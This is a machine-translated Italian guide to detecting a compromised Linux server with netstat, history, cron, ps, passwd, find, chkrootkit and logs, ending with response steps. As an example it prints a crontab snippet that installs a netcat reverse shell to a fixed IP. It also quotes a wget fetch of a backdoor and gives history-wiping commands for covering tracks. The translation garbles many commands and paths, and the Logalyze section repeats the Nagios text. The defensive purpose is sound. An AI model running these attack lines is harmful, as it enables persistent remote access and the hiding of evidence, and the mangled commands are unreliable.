NetStat
NetStat è un'importante utilità di rete TCP/IP di comando che fornisce informazioni e statistiche sui protocolli in uso e connessioni di rete attive.
Noi useremo NetStat In un esempio vittima per verificare qualcosa di sospetto nelle connessioni di rete attive tramite il seguente comando:
ubuntu@ubuntu: ~ $ netstat -antp
Qui vedremo tutte le connessioni attualmente attive. Ora cercheremo un connessione che non dovrebbe essere lì.
Eccolo qui, una connessione attiva sulla porta 44999 (una porta che non dovrebbe essere aperta).Possiamo vedere altri dettagli sulla connessione, come il Pid, e il nome del programma che è in esecuzione nell'ultima colonna. In questo caso, il Pid È 1555 e il payload dannoso che sta eseguendo è il ./conchiglia.elfo file.
Un altro comando per verificare le porte attualmente in ascolto e attive sul sistema è il seguente:
ubuntu@ubuntu: ~ $ netstat -la
Questo è un output piuttosto disordinato. Per filtrare le connessioni di ascolto e consolidato, useremo il seguente comando:
ubuntu@ubuntu: ~ $ netstat -la | grep "ascolta" "stabilito"
Questo ti darà solo i risultati che ti contano, in modo da poter ordinare più facilmente questi risultati. Possiamo vedere una connessione attiva su Porta 44999 Nei risultati di cui sopra.
Dopo aver riconosciuto il processo dannoso, puoi uccidere il processo tramite i seguenti comandi. Noteremo il Pid del processo che utilizza il comando netstat e uccidere il processo tramite il comando seguente:
ubuntu@ubuntu: ~ $ kill 1555
~.Bash-History
Linux mantiene un record di quali utenti hanno effettuato l'accesso al sistema, da quale IP, quando e per quanto tempo.
Puoi accedere a queste informazioni con scorso comando. L'output di questo comando sembrerebbe il seguente:
ubuntu@ubuntu: ~ $ ultimo
L'output mostra il nome utente nella prima colonna, il terminale nel secondo, l'indirizzo di origine nel terzo, il tempo di accesso nella quarta colonna e il tempo di sessione totale registrato nell'ultima colonna. In questo caso, gli utenti Usman E Ubuntu sono ancora connessi. Se vedi una sessione che non è autorizzata o che sembra dannosa, consultare l'ultima sezione di questo articolo.
La cronologia di registrazione è memorizzata in ~.Bash-History file. Quindi, la storia può essere rimossa facilmente eliminando il .Bash-History file. Questa azione viene spesso eseguita dagli aggressori per coprire le loro tracce.
ubuntu@ubuntu: ~ $ cat .Bash_history
Questo comando mostrerà i comandi eseguiti sul tuo sistema, con l'ultimo comando eseguito in fondo all'elenco.
La cronologia può essere cancellata tramite il seguente comando:
ubuntu@ubuntu: ~ $ history -c
Questo comando eliminerà solo la cronologia dal terminale che stai utilizzando attualmente. Quindi, c'è un modo più corretto per farlo:
ubuntu@ubuntu: ~ $ cat/dev/null> ~/.Bash_history
Ciò chiarirà il contenuto della storia ma manterrà il file in atto. Quindi, se stai vedendo solo il tuo accesso attuale dopo aver eseguito il scorso comando, questo non è affatto un buon segno. Ciò indica che il tuo sistema potrebbe essere stato compromesso e che l'attaccante probabilmente ha cancellato la storia.
Se sospetti un utente o un IP dannoso, accedi come utente ed esegui il comando storia, come segue:
ubuntu@ubuntu: ~ $ su
ubuntu@ubuntu: ~ $ history
Questo comando mostrerà la cronologia dei comandi leggendo il file .Bash-History nel /casa cartella di quell'utente. Cerca attentamente Wget, arricciare, O Netcat Comandi, nel caso in cui l'attaccante abbia utilizzato questi comandi per trasferire file o per installare strumenti di repository, come cripto-minatori o robot di spam.
Dai un'occhiata all'esempio seguente:
Sopra, puoi vedere il comando "wget https: // github.com/sajith/mod-rootme." In questo comando, l'hacker ha provato ad accedere a un file Out of Repo utilizzando Wget Per scaricare un backdoor chiamato "Mod-Root Me" e installarlo sul tuo sistema. Questo comando nella storia significa che il sistema è compromesso ed è stato retrodorato da un aggressore.
Ricorda, questo file può essere espulso facilmente o la sua sostanza prodotta. I dati forniti da questo comando non devono essere presi come una realtà definita. Eppure, nel caso in cui l'attaccante gestiva un comando "cattivo" e trascurato di evacuare la storia, sarà lì.
Lavori cron
I lavori di Cron possono fungere da strumento vitale quando configurati per impostare una shell inversa sulla macchina degli attaccanti. Editare i lavori di Cron è un'abilità importante, e così è sapere come vederli.
Per visualizzare i lavori Cron in esecuzione per l'utente corrente, useremo il seguente comando:
ubuntu@ubuntu: ~ $ crontab -l
Per visualizzare i lavori Cron in esecuzione per un altro utente (in questo caso, Ubuntu), useremo il seguente comando:
ubuntu@ubuntu: ~ $ crontab -u ubuntu -l
Per visualizzare i lavori Cron giornalieri, ogni ora, settimanali e mensili, utilizzeremo i seguenti comandi:
Daily Cron Jobs:
ubuntu@ubuntu: ~ $ ls -la /etc /cron.quotidiano
Lavori cron orari:
ubuntu@ubuntu: ~ $ ls -la /etc /cron.ogni ora
Lavori cron settimanali:
ubuntu@ubuntu: ~ $ ls -la /etc /cron.settimanalmente
Fare un esempio:
L'attaccante può mettere un lavoro cron /etc/crontab che gestisce un comando dannoso 10 minuti oltre ogni ora. L'attaccante può anche eseguire un servizio dannoso o una backdoor in guscio inverso tramite Netcat o qualche altra utilità. Quando esegui il comando $ ~ crontab -l, Vedrai un lavoro cron in esecuzione sotto:
ubuntu@ubuntu: ~ $ crontab -l
Ct = $ (crontab -l)
Ct = $ ct $ '\ n10 * * * * nc -e /bin /bash 192.168.8.131 44999 '
printf "$ ct" | Crrontab -
PS Aux
Per ispezionare correttamente se il sistema è stato compromesso, è anche importante visualizzare i processi di esecuzione. Ci sono casi in cui alcuni processi non autorizzati non consumano abbastanza utilizzo della CPU per essere elencati nel superiore comando. Ecco dove useremo il ps comando per mostrare tutti i processi attualmente in esecuzione.
ubuntu@ubuntu: ~ $ ps auxf
La prima colonna mostra l'utente, la seconda colonna mostra un ID processo univoco e la CPU e l'utilizzo della memoria sono mostrati nelle colonne successive.
Questa tabella ti fornirà la maggior parte delle informazioni. Dovresti ispezionare ogni processo di esecuzione per cercare qualcosa di peculiare per sapere se il sistema è compromesso o no. Nel caso in cui trovi qualcosa di sospetto, Google o eseguilo con il lsof comando, come mostrato sopra. Questa è una buona abitudine da correre ps Comandi sul tuo server e aumenterà le tue possibilità di trovare qualcosa di sospetto o fuori dalla tua routine quotidiana.
/etc/passwd
IL /etc/passwd Il file tiene traccia di ogni utente nel sistema. Questo è un file separato a colon contenente informazioni come nome utente, userid, password crittografata, groupid (GID), nome completo dell'utente, directory di home utente e shell di accesso.
Se un utente malintenzionato ha un successo nel tuo sistema, c'è la possibilità che crei altri utenti, per mantenere le cose separate o creare una backdoor nel tuo sistema per tornare indietro usando quella backdoor. Durante il controllo se il sistema è stato compromesso, è necessario verificare anche ogni utente nel file /etc /passwd. Digita il seguente comando per farlo:
ubuntu@ubuntu: ~ $ cat ecc/passwd
Questo comando ti darà un output simile a quello sotto:
Gnome-Initial-Setup: X: 120: 65534 ::/run/gnome-initial-setup/:/bin/false
GDM: X: 121: 125: Gnome Display Manager:/var/lib/gdm3:/bin/false
USMAN: X: 1000: 1000: Usman:/Home/Usman:/Bin/Bash
Postgres: X: 122: 128: Postgresql Amministratore ,,,:/var/lib/Postgresql:/bin/bash
Debian-Tor: x: 123: 129 ::/var/lib/tor:/bin/false
Ubuntu: x: 1001: 1001: Ubuntu ,,::/home/ubuntu:/bin/bash
Lightdm: X: 125: 132: Light Display Manager:/var/lib/lightdm:/bin/false
Debian-GDM: X: 124: 131: Gnome Display Manager:/var/lib/gdm3:/bin/false
Anonimo: x: 1002: 1002: ,,,:/home/anonimo:/bin/bash
Ora vorrai cercare qualsiasi utente di cui non sei a conoscenza. In questo esempio, puoi vedere un utente nel file chiamato "Anonimo."Un'altra cosa importante da notare è che se l'attaccante ha creato un utente con cui accedere, l'utente avrà anche una shell" bin/bash "assegnata. Quindi, puoi restringere la tua ricerca a Grepping il seguente output:
ubuntu@ubuntu: ~ $ cat /etc /passwd | grep -i "/bin/bash"
USMAN: X: 1000: 1000: Usman:/Home/Usman:/Bin/Bash
Postgres: X: 122: 128: Postgresql Amministratore ,,,:/var/lib/Postgresql:/bin/bash
Ubuntu: x: 1001: 1001: Ubuntu ,,::/home/ubuntu:/bin/bash
Anonimo: x: 1002: 1002: ,,,:/home/anonimo:/bin/bash
Puoi eseguire qualche ulteriore "Bash Magic" per perfezionare la tua produzione.
ubuntu@ubuntu: ~ $ cat /etc /passwd | grep -i "/bin/bash" | taglio -d ":" -f 1
Usman
Postgres
Ubuntu
anonimo
Trovare
Le ricerche basate sul tempo sono utili per il triage rapido. L'utente può anche modificare i timestamp per la modifica dei file. Per migliorare l'affidabilità, includere Ctime nei criteri, poiché è molto più difficile da manomettere perché richiede modifiche di alcuni file di livello.
È possibile utilizzare il seguente comando per trovare i file creati e modificati negli ultimi 5 giorni:
ubuntu@ubuntu: ~ $ find / -mtime -o -ctime -5
Per trovare tutti i file Suid di proprietà della root e per verificare se ci sono voci impreviste negli elenchi, useremo il seguente comando:
ubuntu@ubuntu: ~ $ find / -perm -4000 -user root -type f
Per trovare tutti i file SGID (Imposta ID utente) di proprietà di Root e verificare se ci sono voci impreviste negli elenchi, useremo il seguente comando:
ubuntu@ubuntu: ~ $ find / -perm -6000 -type f
Chkrootkit
Rootkit sono una delle cose peggiori che possono accadere a un sistema e sono uno degli attacchi più pericolosi, più pericolosi del malware e dei virus, sia nel danno che causano al sistema e difficoltà a trovarli e rilevarli.
Sono progettati in modo tale da rimanere nascosti e fare cose malintenzionate come rubare carte di credito e informazioni bancarie online. Rootkit Dai ai criminali informatici la possibilità di controllare il sistema informatico. Rootkit aiuta anche l'attaccante a monitorare i tuoi tasti e disabilitare il software antivirus, il che rende ancora più facile rubare le tue informazioni private.
Questi tipi di malware possono rimanere sul sistema per molto tempo senza che l'utente non accorga e può causare gravi danni. Una volta il Rootkit viene rilevato, non c'è altro modo che reinstallare l'intero sistema. A volte questi attacchi possono persino causare guasti hardware.
Fortunatamente, ci sono alcuni strumenti che possono aiutare a rilevare Rootkit Sui sistemi Linux, come Lynis, Clam AV o LMD (rilevamento di malware Linux). Puoi controllare il tuo sistema per noto Rootkit Usando i comandi sottostanti.
Per prima cosa, installa Chkrootkit tramite il seguente comando:
ubuntu@ubuntu: ~ $ sudo apt installa chkrootkit
Questo installerà il Chkrootkit attrezzo. È possibile utilizzare questo strumento per verificare i rootkit tramite il seguente comando:
ubuntu@ubuntu: ~ $ sudo chkrootkit
Il pacchetto Chkrootkit è costituito da uno script di shell che controlla i binari del sistema per la modifica di rootkit, nonché diversi programmi che controllano vari problemi di sicurezza. Nel caso sopra, il pacchetto ha verificato un segno di rootkit sul sistema e non ne ha trovato nessuno. Bene, questo è un buon segno!
Registri Linux
I registri Linux forniscono un calendario di eventi sul framework di lavoro e applicazioni di Linux e sono un importante strumento di investigazione quando si riscontrano problemi. Il compito principale che un amministratore deve eseguire quando scopre che il sistema è compromesso dovrebbe sezionare tutti i registri dei registri.
Per l'area di lavoro Applicazione ESPLICIT ESPLICIT, i registri dei registri sono tenuti in contatto con varie aree. Ad esempio, Chrome compone i rapporti su Crash a '~/.CHROME/Crash Reports '), Laddove un'applicazione dell'area di lavoro compone i registri dipendenti dall'ingegnere e mostra se l'applicazione tiene conto della disposizione del registro personalizzato. I record sono nel/var/log directory. Ci sono registri Linux per tutto: framework, porzione, bundle capi, forme di avvio, xorg, apache e mysql. In questo articolo, il tema si concentrerà esplicitamente sui registri del framework Linux.
È possibile cambiare in questo catalogo utilizzando l'ordine del disco compatto. Dovresti avere le autorizzazioni di root per visualizzare o modificare i file di registro.
ubuntu@ubuntu: ~ $ cd /var /log
Istruzioni per visualizzare i registri Linux
Utilizzare i seguenti comandi per visualizzare i documenti di registro necessari.
I registri Linux possono essere visti con il comando CD /var /log, A quel punto componendo l'ordine per vedere i registri messi sotto questo catalogo. Uno dei tronchi più significativi è il syslog, quali registri molti registri importanti.
ubuntu@ubuntu: cat syslog
Per disinfettare l'output, useremo il "meno" comando.
ubuntu@ubuntu: cat syslog | meno
Digitare il comando var/log/syslog vedere alcune cose sotto il file syslog. Concentrarsi su un particolare problema richiederà del tempo, poiché questo record di solito sarà lungo. Premere il turno+g per scorrere verso il basso nel record per fine, indicato da “End."
Allo stesso modo puoi vedere i registri mediante dmesg, che stampa il supporto dell'anello part. Questa funzione stampa tutto e ti invia il più possibile lungo il documento. Da quel punto, puoi utilizzare l'ordine dmesg | meno per guardare attraverso la resa. Nel caso in cui è necessario vedere i registri per l'utente dato, dovrai eseguire il seguente comando:
DMESG - Facility = Utente
In conclusione, è possibile utilizzare l'ordine della coda per vedere i documenti del registro. È un'utilità minuscola ma utile che si può usare, in quanto viene utilizzata per mostrare l'ultima parte dei registri, in cui si è verificato il problema molto probabilmente. È inoltre possibile specificare il numero di ultimo byte o righe da mostrare nel comando di coda. Per questo, utilizza il comando Tail/var/log/syslog. Ci sono molti modi per guardare i registri.
Per un numero particolare di righe (il modello considera le ultime 5 righe), immettere il comando seguente:
ubuntu@ubuntu: ~ $ tail -f -n 5/var/log/syslog
Questo stamperà le ultime 5 righe. Quando arriva un'altra linea, la prima sarà evacuata. Per allontanarsi dall'ordine della coda, premere Ctrl+X.
Importanti registri Linux
I quattro registri primari Linux includono:
ubuntu@ubuntu: cat syslog | meno
ubuntu@ubuntu: Cat Auth.registro | meno
ubuntu@ubuntu: cat boot.registro | meno
ubuntu@ubuntu: cat maillog | meno
ubuntu@ubuntu: cat kern | meno
ubuntu@ubuntu: cat dmesg | meno
ubuntu@ubuntu: gatto faillog | meno
ubuntu@ubuntu: cat cron | meno
ubuntu@ubuntu: gatto yum.registro | meno
ubuntu@ubuntu: cat httpd | meno
ubuntu@ubuntu: cat mysqld.registro | meno
Strumenti per la visualizzazione dei registri Linux
Ci sono molti tracker di registro open source e dispositivi di esame accessibili oggi, rendendo la scelta delle risorse corrette per i registri delle azioni più semplici di quanto si possa sospettare. I registri di registro gratuiti e open source possono lavorare su qualsiasi sistema per svolgere il lavoro. Ecco cinque dei migliori che ho utilizzato in passato, in nessun ordine specifico.
Graylog
Iniziato in Germania nel 2011, Graylog è attualmente offerto come dispositivo open source o un accordo commerciale. Graylog ha lo scopo di essere un framework di bordo e bordo che riceve flussi di informazioni da diversi server o endpoint e consente di esaminare rapidamente o abbattere tali dati.
Graylog ha assemblato una notorietà positiva tra le teste del quadro a seguito della sua semplicità e versatilità. La maggior parte delle iniziative Web inizia poco, ma può svilupparsi esponenzialmente. Graylog può regolare le pile su un sistema di server back -end e gestire alcuni terabyte di informazioni sui registri ogni giorno.
I presidenti vedranno la parte anteriore dell'interfaccia Graylog come semplice da utilizzare e vigorosa nella sua utilità. Graylog lavora attorno all'idea di dashboard, il che consente agli utenti di scegliere il tipo di misurazioni o fonti di informazione che trovano importanti e osserva rapidamente le pendenze dopo un po 'di tempo.
Quando si verifica un episodio di sicurezza o esecuzione, i presidenti devono avere la possibilità di seguire le manifestazioni a un conducente sottostante il più rapidamente possibile. La funzione di ricerca di Graylog rende questo compito semplice. Questo strumento ha funzionato nell'adattamento a un fallimento interno che può eseguire iniziative multi-strungamenti in modo da poter abbattere alcuni potenziali pericoli insieme.
Nagios
Iniziato da un singolo sviluppatore nel 1999, da allora Nagios è avanzato in uno dei più solidi strumenti open source per la supervisione delle informazioni sui registri. L'attuale interpretazione di Nagios può essere implementata in server che eseguono qualsiasi tipo di sistema operativo (Linux, Windows, ecc.).
L'elemento essenziale di Nagios è un server di registro, che semplifica l'assortimento di informazioni e rende i dati progressivamente disponibili per i dirigenti del framework. Il motore del server di registro Nagios prenderà gradualmente le informazioni e le alimenterà in uno strumento di ricerca innovativo. Incorporare con un altro endpoint o applicazione è una semplice mancia per questa procedura guidata di accordo intrinseco.
Nagios è spesso utilizzato in associazioni che devono proiettare la sicurezza dei loro quartieri e possono rivedere un campo di applicazione delle occasioni relative al sistema per aiutare a robotizzare il trasporto di avvertenze. I nagios possono essere programmati per eseguire compiti specifici quando viene soddisfatta una determinata condizione, il che consente agli utenti di rilevare i problemi anche prima che vengano incluse le esigenze di un essere umano.
Come aspetto importante della valutazione del sistema, Nagios canalizzerà le informazioni di registro dipendenti dall'area geografica in cui inizia. I dashboard completi con mappatura dell'innovazione possono essere implementati per vedere lo streaming del traffico web.
Logalizzare
Logalyze produce strumenti open source per direttori di framework o sistemi e specialisti della sicurezza per aiutarli a supervisionare i registri dei server e consentire loro di concentrarsi sulla trasformazione dei registri in informazioni preziose. L'articolo essenziale di questo strumento è che è accessibile come download gratuito per l'uso domestico o aziendale.
L'elemento essenziale di Nagios è un server di registro, che semplifica l'assortimento di informazioni e rende i dati progressivamente disponibili per i dirigenti del framework. Il motore del server di registro Nagios prenderà gradualmente le informazioni e le alimenterà in uno strumento di ricerca innovativo. Incorporare con un altro endpoint o applicazione è una semplice mancia per questa procedura guidata di accordo intrinseco.
Nagios è spesso utilizzato in associazioni che devono proiettare la sicurezza dei loro quartieri e possono rivedere un campo di applicazione delle occasioni relative al sistema per aiutare a robotizzare il trasporto di avvertenze. I nagios possono essere programmati per eseguire compiti specifici quando viene soddisfatta una determinata condizione, il che consente agli utenti di rilevare i problemi anche prima che vengano incluse le esigenze di un essere umano.
Come aspetto importante della valutazione del sistema, Nagios canalizzerà le informazioni di registro dipendenti dall'area geografica in cui inizia. I dashboard completi con mappatura dell'innovazione possono essere implementati per vedere lo streaming del traffico web.
Cosa dovresti fare se sei stato compromesso?
La cosa principale è non farsi prendere dal panico, in particolare se la persona non autorizzata è firmata in questo momento. Dovresti avere la possibilità di riprendere il controllo della macchina prima che l'altra persona sappia che ne conosci. Nel caso in cui sanno che sei a conoscenza della loro presenza, l'attaccante potrebbe tenerti fuori dal tuo server e iniziare a distruggere il tuo sistema. Se non sei così tecnico, allora tutto ciò che devi fare è chiudere immediatamente l'intero server. È possibile chiudere il server tramite i seguenti comandi:
ubuntu@ubuntu: ~ $ shutdown -h ora
O
ubuntu@ubuntu: ~ $ systemctl powoff
Un altro modo per farlo è accedere al pannello di controllo del provider di hosting e chiuderlo da lì. Una volta che il server è spento, puoi lavorare sulle regole del firewall necessarie e consultare chiunque per assistenza nel tuo tempo.
Nel caso in cui ti senta più sicuro e il tuo fornitore di hosting ha un firewall a monte, quindi crea e abilita le seguenti regole:
Per verificare la presenza di sessioni SSH attive, utilizzare il comando seguente:
ubuntu@ubuntu: ~ $ ss | grep ssh
Usa il seguente comando per uccidere la loro sessione SSH:
ubuntu@ubuntu: ~ $ kill
Questo ucciderà la loro sessione SSH e ti darà accesso al server. Nel caso in cui non si abbia accesso a un firewall a monte, dovrai creare e abilitare le regole del firewall sul server stesso. Quindi, quando vengono impostate le regole del firewall, uccidi la sessione SSH dell'utente non autorizzato tramite il comando "kill".
Un'ultima tecnica, ove disponibile, accedi al server per mezzo di una connessione fuori banda, come una console seriale. Fermare tutto il networking tramite il seguente comando:
ubuntu@ubuntu: ~ $ systemctl stop network.servizio
Questo impedirà completamente a qualsiasi sistema di arrivare a te, quindi ora saresti in grado di abilitare i controlli del firewall ai tuoi tempi.
Una volta che hai riacquistato il controllo del server, non fidarti facilmente di esso. Non cercare di sistemare le cose e riutilizzarle. Ciò che è rotto non può essere risolto. Non sapresti mai cosa potrebbe fare un attaccante, e quindi non dovresti mai essere sicuro che il server sia sicuro. Quindi, la reinstallazione dovrebbe essere il tuo passo finale.